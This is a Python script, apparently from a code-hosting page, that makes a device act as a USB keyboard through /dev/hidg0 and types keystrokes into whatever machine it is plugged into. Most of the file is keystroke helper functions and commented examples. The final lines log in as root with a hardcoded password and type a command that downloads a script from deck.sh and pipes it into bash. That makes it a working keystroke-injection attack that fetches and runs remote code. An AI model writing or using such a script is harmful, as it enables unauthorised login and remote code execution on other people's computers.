You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

74 lines
1.7 KiB
Python

4 years ago
#!/usr/bin/env python3
import keycodes
import time
NULL_CHAR = chr(0)
def write_report(report):
with open('/dev/hidg0', 'rb+') as fd:
fd.write(report.encode())
# Press a
# write_report(NULL_CHAR*2+chr(4)+NULL_CHAR*5)
# Release keys
#write_report(NULL_CHAR*8)
# Press SHIFT + a = A
#write_report(chr(32)+NULL_CHAR+chr(4)+NULL_CHAR*5)
# Press b
#write_report(NULL_CHAR*2+chr(5)+NULL_CHAR*5)
# Release keys
#write_report(NULL_CHAR*8)
# Press SHIFT + b = B
#write_report(chr(32)+NULL_CHAR+chr(5)+NULL_CHAR*5)
# Press SPACE key
#write_report(NULL_CHAR*2+chr(44)+NULL_CHAR*5)
# Press c key
#write_report(NULL_CHAR*2+chr(6)+NULL_CHAR*5)
# Press d key
#write_report(NULL_CHAR*2+chr(7)+NULL_CHAR*5)
# Press RETURN/ENTER key
#write_report(NULL_CHAR*2+chr(40)+NULL_CHAR*5)
# Press e key
#write_report(NULL_CHAR*2+chr(8)+NULL_CHAR*5)
# Press f key
#write_report(NULL_CHAR*2+chr(9)+NULL_CHAR*5)
# Release all keys
#write_report(NULL_CHAR*8)
def write_char(char):
write_report(NULL_CHAR*2+chr(char)+NULL_CHAR*5)
def write_caps(char):
write_report(chr(32)+NULL_CHAR+chr(char)+NULL_CHAR*5)
def write_str(word):
for letter in word:
if letter == "|":
letter = "\\"
write_caps(keycodes.keycodelst[letter])
continue
if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z':
print(letter.capitalize(), letter)
write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue
else:
letter = letter.capitalize()
if letter == "\n":
letter = "ENTER"
write_char(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
write_str("root\n")
time.sleep(0.5)
write_str("qwertypass\n")
time.sleep(2)
write_str("dwget deck.sh/p -qO-|bash\n")
#write_word("test|er")